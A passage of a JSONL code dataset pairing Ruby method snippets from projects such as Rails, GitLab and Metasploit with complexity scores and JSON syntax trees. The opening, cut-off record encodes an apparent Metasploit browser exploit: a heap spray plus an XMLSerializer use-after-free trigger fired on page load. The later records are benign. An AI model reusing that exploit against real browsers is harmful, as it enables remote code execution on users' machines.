"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Arch\"]},\"endian\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"arch\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"js_ptr\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_unescape\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FakeObject\"]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Arch\"]},\"endian\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"arch\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<html>\\n\"]},{\"type\":\"str\",\"children\":[\"<script>\\n\"]},{\"type\":\"str\",\"children\":[\"var heap_chunks;\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"function heapSpray(shellcode, fillsled) {\\n\"]},{\"type\":\"str\",\"children\":[\"  var chunk_size, headersize, fillsled_len, code;\\n\"]},{\"type\":\"str\",\"children\":[\"  var i, codewithnum;\\n\"]},{\"type\":\"str\",\"children\":[\"  chunk_size = 0x40000;\\n\"]},{\"type\":\"str\",\"children\":[\"  headersize = 0x10;\\n\"]},{\"type\":\"str\",\"children\":[\"  fillsled_len = chunk_size - (headersize + shellcode.length);\\n\"]},{\"type\":\"str\",\"children\":[\"  while (fillsled.length <fillsled_len)\\n\"]},{\"type\":\"str\",\"children\":[\"    fillsled += fillsled;\\n\"]},{\"type\":\"str\",\"children\":[\"  fillsled = fillsled.substring(0, fillsled_len);\\n\"]},{\"type\":\"str\",\"children\":[\"  code = shellcode + fillsled;\\n\"]},{\"type\":\"str\",\"children\":[\"  heap_chunks = new Array();\\n\"]},{\"type\":\"str\",\"children\":[\"  for (i = 0; i<1000; i++)\\n\"]},{\"type\":\"str\",\"children\":[\"  {\\n\"]},{\"type\":\"str\",\"children\":[\"    codewithnum = \\\"HERE\\\" + code;\\n\"]},{\"type\":\"str\",\"children\":[\"    heap_chunks[i] = codewithnum.substring(0, codewithnum.length);\\n\"]},{\"type\":\"str\",\"children\":[\"  }\\n\"]},{\"type\":\"str\",\"children\":[\"}\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"function gen(len, pad) {\\n\"]},{\"type\":\"str\",\"children\":[\"  pad = unescape(pad);\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  while (pad.length < len/2)\\n\"]},{\"type\":\"str\",\"children\":[\"    pad += pad;\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  return pad.substring(0, len/2-1);\\n\"]},{\"type\":\"str\",\"children\":[\"}\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"function run() {\\n\"]},{\"type\":\"str\",\"children\":[\"  var container = [];\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  var myshellcode = unescape(\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"js_code\"]}]},{\"type\":\"str\",\"children\":[\"\\\");\\n\"]},{\"type\":\"str\",\"children\":[\"  var myfillsled = unescape(\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"js_random\"]}]},{\"type\":\"str\",\"children\":[\"\\\");\\n\"]},{\"type\":\"str\",\"children\":[\"  heapSpray(myshellcode,myfillsled);\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  var fake =\\n\"]},{\"type\":\"str\",\"children\":[\"  \\\"%u0000%u0000\\\" +\\n\"]},{\"type\":\"str\",\"children\":[\"  \\\"%u0000%u0000\\\" +\\n\"]},{\"type\":\"str\",\"children\":[\"  \\\"%u0000%u0000\\\" +\\n\"]},{\"type\":\"str\",\"children\":[\"  \\\"%u0000%u0000\\\" +\\n\"]},{\"type\":\"str\",\"children\":[\"  \\\"%u0000%u0000\\\" +\\n\"]},{\"type\":\"str\",\"children\":[\"  \\\"%u0000%u0000\\\" +\\n\"]},{\"type\":\"str\",\"children\":[\"  \\\"%u0000%u0000\\\" +\\n\"]},{\"type\":\"str\",\"children\":[\"  \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"js_ptr\"]}]},{\"type\":\"str\",\"children\":[\"\\\";\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  var small = gen(72, fake);\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  var text = 'x';\\n\"]},{\"type\":\"str\",\"children\":[\"  while (text.length <= 1024)\\n\"]},{\"type\":\"str\",\"children\":[\"    text += text;\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  var parent = document.createElement(\\\"parent\\\");\\n\"]},{\"type\":\"str\",\"children\":[\"  var child = document.createElement(\\\"child\\\");\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  parent.appendChild(child);\\n\"]},{\"type\":\"str\",\"children\":[\"  child.setAttribute(\\\"foo\\\", text);\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  var s = new XMLSerializer();\\n\"]},{\"type\":\"str\",\"children\":[\"  var stream = {\\n\"]},{\"type\":\"str\",\"children\":[\"    write: function() {\\n\"]},{\"type\":\"str\",\"children\":[\"      parent.removeChild(child);\\n\"]},{\"type\":\"str\",\"children\":[\"      child = null;\\n\"]},{\"type\":\"str\",\"children\":[\"      for (i = 0; i < 2097152; ++i)\\n\"]},{\"type\":\"str\",\"children\":[\"        container.push(small.toLowerCase());\\n\"]},{\"type\":\"str\",\"children\":[\"    }\\n\"]},{\"type\":\"str\",\"children\":[\"  };\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  s.serializeToStream(parent, stream, \\\"UTF-8\\\");\\n\"]},{\"type\":\"str\",\"children\":[\"}\\n\"]},{\"type\":\"str\",\"children\":[\"</script>\\n\"]},{\"type\":\"str\",\"children\":[\"<body onload=\\\"run();\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"</body>\\n\"]},{\"type\":\"str\",\"children\":[\"</html>\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"URI \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]}]},{\"type\":\"str\",\"children\":[\" requested...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending HTML\"]}]},{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"content\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"text/html\"]}]}]}]}]}]}","id":"b2350f23-8161-4422-997e-ac4e23afa80b"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/user.rb","start_line":284,"raw_source":"def tag_line\n    profile.summary\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"tag_line\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"profile\"]},\"summary\"]}]}","id":"5edd96b1-fad5-4b31-a3cb-78ac254d4a53"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/import/github_controller.rb","start_line":293,"raw_source":"def fetch_repos_options\n    pagination_options.merge(relation_options)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_repos_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pagination_options\"]},\"merge\",{\"type\":\"send\",\"children\":[null,\"relation_options\"]}]}]}","id":"b93cc240-e215-4a3d-a5e3-b025cb42781e"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/online_status_tracker.rb","start_line":41,"raw_source":"def self.get_available_contact_ids(account_id)\n    range_start = (Time.zone.now - PRESENCE_DURATION).to_i\n    # exclusive minimum score is specified by prefixing (\n    # we are clearing old records because this could clogg up the sorted set\n    ::Redis::Alfred.zremrangebyscore(presence_key(account_id, 'Contact'), '-inf', \"(#{range_start}\")\n    ::Redis::Alfred.zrangebyscore(presence_key(account_id, 'Contact'), range_start, '+inf')\n  end","complexity_score":10.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"get_available_contact_ids\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"account_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"range_start\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]},\"-\",{\"type\":\"const\",\"children\":[null,\"PRESENCE_DURATION\"]}]}]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Redis\"]},\"Alfred\"]},\"zremrangebyscore\",{\"type\":\"send\",\"children\":[null,\"presence_key\",{\"type\":\"lvar\",\"children\":[\"account_id\"]},{\"type\":\"str\",\"children\":[\"Contact\"]}]},{\"type\":\"str\",\"children\":[\"-inf\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range_start\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Redis\"]},\"Alfred\"]},\"zrangebyscore\",{\"type\":\"send\",\"children\":[null,\"presence_key\",{\"type\":\"lvar\",\"children\":[\"account_id\"]},{\"type\":\"str\",\"children\":[\"Contact\"]}]},{\"type\":\"lvar\",\"children\":[\"range_start\"]},{\"type\":\"str\",\"children\":[\"+inf\"]}]}]}]}","id":"e57afb05-75f0-4b10-be7a-188e145d91cb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/mutations/container_registry/protection/rule/create.rb","start_line":49,"raw_source":"def resolve(project_path:, **kwargs)\n            project = authorized_find!(project_path)\n\n            response =\n              ::ContainerRegistry::Protection::CreateRuleService\n                .new(project: project, current_user: current_user, params: kwargs)\n                .execute\n\n            { container_protection_repository_rule: response.payload[:container_registry_protection_rule],\n              errors: response.errors }\n          end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"project_path\"]},{\"type\":\"kwrestarg\",\"children\":[\"kwargs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project\",{\"type\":\"send\",\"children\":[null,\"authorized_find!\",{\"type\":\"lvar\",\"children\":[\"project_path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ContainerRegistry\"]},\"Protection\"]},\"CreateRuleService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"kwargs\"]}]}]}]},\"execute\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container_protection_repository_rule\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"container_registry_protection_rule\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"errors\"]}]}]}]}]}","id":"047c2370-26b3-425e-b514-0f80cf11d11a"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/conditional_assignment.rb","start_line":355,"raw_source":"def lhs_all_match?(branches)\n          return true if branches.empty?\n\n          first_lhs = lhs(branches.first)\n          branches.all? { |branch| lhs(branch) == first_lhs }\n        end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"lhs_all_match?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"branches\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"branches\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"first_lhs\",{\"type\":\"send\",\"children\":[null,\"lhs\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"branches\"]},\"first\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"branches\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"branch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lhs\",{\"type\":\"lvar\",\"children\":[\"branch\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"first_lhs\"]}]}]}]}]}","id":"b951d136-33d6-4718-beba-1ae5d4f06857"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/locking/optimistic.rb","start_line":214,"raw_source":"def self.new(subtype)\n        self === subtype ? subtype : super\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"new\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"subtype\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"===\",{\"type\":\"lvar\",\"children\":[\"subtype\"]}]},{\"type\":\"lvar\",\"children\":[\"subtype\"]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"26ef9d63-7123-4205-8cb7-482b07fb515b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/scripts/meterpreter/wmic.rb","start_line":68,"raw_source":"def filewrt(file2wrt, data2wrt)\n  output = ::File.open(file2wrt, \"a\")\n  data2wrt.each_line do |d|\n    output.puts(d)\n  end\n  output.close\nend","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"filewrt\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file2wrt\"]},{\"type\":\"arg\",\"children\":[\"data2wrt\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"file2wrt\"]},{\"type\":\"str\",\"children\":[\"a\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data2wrt\"]},\"each_line\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"d\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"puts\",{\"type\":\"lvar\",\"children\":[\"d\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"close\"]}]}]}","id":"c28bf5a0-852c-48e3-a7be-51037156f3ad"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/pdf_parse.rb","start_line":23,"raw_source":"def read_pdf()\n    stream = File.binread(\"#{datastore['INFILENAME']}\")\n    return stream\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"read_pdf\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stream\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"binread\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"INFILENAME\"]}]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]}]}]}]}","id":"65c94338-1c90-4660-a87b-b7a996c6b583"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/live_debugger.rb","start_line":26,"raw_source":"def is_headless_disabled?\n    Rails.application.deprecators[:qa].warn(\"CHROME_HEADLESS is deprecated. Use WEBDRIVER_HEADLESS instead.\") if ENV.key?('CHROME_HEADLESS')\n\n    ENV['WEBDRIVER_HEADLESS'] =~ /^(false|no|0)$/i || ENV['CHROME_HEADLESS'] =~ /^(false|no|0)$/i\n  end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"is_headless_disabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"key?\",{\"type\":\"str\",\"children\":[\"CHROME_HEADLESS\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]},\"deprecators\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"qa\"]}]},\"warn\",{\"type\":\"str\",\"children\":[\"CHROME_HEADLESS is deprecated. Use WEBDRIVER_HEADLESS instead.\"]}]},null]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WEBDRIVER_HEADLESS\"]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^(false|no|0)$\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CHROME_HEADLESS\"]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^(false|no|0)$\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]}]}]}]}","id":"8bb05233-eb0e-46ca-b728-8bcc9078fac3"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/autoloaders.rb","start_line":31,"raw_source":"def each\n      yield main\n      yield once\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"each\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"yield\",\"children\":[{\"type\":\"send\",\"children\":[null,\"main\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"send\",\"children\":[null,\"once\"]}]}]}]}","id":"cf3a9721-0d26-4c26-a552-6afe3ecf347c"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/test/delegator_test.rb","start_line":126,"raw_source":"def method_missing(method, *args, &block)\n        return super unless method.to_sym == :options\n        {:some => :option}\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"method_missing\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]},{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},\"to_sym\"]},\"==\",{\"type\":\"sym\",\"children\":[\"options\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"zsuper\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"some\"]},{\"type\":\"sym\",\"children\":[\"option\"]}]}]}]}]}","id":"859d5020-0fd1-4cc0-9b8c-bcebd251a788"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/projects/project_sql_representer.rb","start_line":36,"raw_source":"def ctes(walker_result)\n            {\n              visible_projects: visible_projects_sql,\n              ancestors: ancestors_sql(walker_result)\n            }\n          end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"ctes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"walker_result\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visible_projects\"]},{\"type\":\"send\",\"children\":[null,\"visible_projects_sql\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ancestors\"]},{\"type\":\"send\",\"children\":[null,\"ancestors_sql\",{\"type\":\"lvar\",\"children\":[\"walker_result\"]}]}]}]}]}","id":"8f933434-bd1d-45f7-a7b8-1a9b4eade6d8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/trace/chunked_io.rb","start_line":201,"raw_source":"def chunk_index\n          tell / CHUNK_SIZE\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"chunk_index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tell\"]},\"/\",{\"type\":\"const\",\"children\":[null,\"CHUNK_SIZE\"]}]}]}","id":"a7c4cc22-7afa-45eb-a864-e88e269ceb93"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/base_test.rb","start_line":921,"raw_source":"def test_attributes_on_dummy_time_with_invalid_time\n    attributes = {\n      \"bonus_time\" => \"not a time\"\n    }\n    topic = Topic.find(1)\n    topic.attributes = attributes\n    assert_nil topic.bonus_time\n  end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_attributes_on_dummy_time_with_invalid_time\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"bonus_time\"]},{\"type\":\"str\",\"children\":[\"not a time\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"attributes=\",{\"type\":\"lvar\",\"children\":[\"attributes\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"bonus_time\"]}]}]}]}","id":"8227870d-0e7d-435f-9dcc-2b772cdc4a70"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/sinatra-contrib/lib/sinatra/webdav.rb","start_line":34,"raw_source":"def self.registered(_)\n      Sinatra::Request.include WebDAV::Request\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"registered\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sinatra\"]},\"Request\"]},\"include\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WebDAV\"]},\"Request\"]}]}]}","id":"f25485e3-b1d1-486b-bf1d-3ef6e537ca9e"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/date_time_ext_test.rb","start_line":257,"raw_source":"def test_yesterday_with_offset\n    Date.stub(:current, Date.new(2000, 1, 1)) do\n      assert_equal true,  DateTime.civil(1999, 12, 31, 23, 59, 59, Rational(-18000, 86400)).yesterday?\n      assert_equal false, DateTime.civil(2000, 1, 1, 0, 0, 0, Rational(-18000, 86400)).yesterday?\n      assert_equal false, DateTime.civil(2000, 1, 1, 23, 59, 59, Rational(-18000, 86400)).yesterday?\n      assert_equal true,  DateTime.civil(1999, 12, 31, 0, 0, 0, Rational(-18000, 86400)).yesterday?\n    end\n  end","complexity_score":40.35,"ast_json":"{\"type\":\"def\",\"children\":[\"test_yesterday_with_offset\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"current\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"new\",{\"type\":\"int\",\"children\":[2000]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"civil\",{\"type\":\"int\",\"children\":[1999]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[31]},{\"type\":\"int\",\"children\":[23]},{\"type\":\"int\",\"children\":[59]},{\"type\":\"int\",\"children\":[59]},{\"type\":\"send\",\"children\":[null,\"Rational\",{\"type\":\"int\",\"children\":[-18000]},{\"type\":\"int\",\"children\":[86400]}]}]},\"yesterday?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"civil\",{\"type\":\"int\",\"children\":[2000]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[null,\"Rational\",{\"type\":\"int\",\"children\":[-18000]},{\"type\":\"int\",\"children\":[86400]}]}]},\"yesterday?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"civil\",{\"type\":\"int\",\"children\":[2000]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[23]},{\"type\":\"int\",\"children\":[59]},{\"type\":\"int\",\"children\":[59]},{\"type\":\"send\",\"children\":[null,\"Rational\",{\"type\":\"int\",\"children\":[-18000]},{\"type\":\"int\",\"children\":[86400]}]}]},\"yesterday?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"civil\",{\"type\":\"int\",\"children\":[1999]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[31]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[null,\"Rational\",{\"type\":\"int\",\"children\":[-18000]},{\"type\":\"int\",\"children\":[86400]}]}]},\"yesterday?\"]}]}]}]}]}","id":"4cf5ed25-1863-4ce4-afb7-91ea30f1421c"}
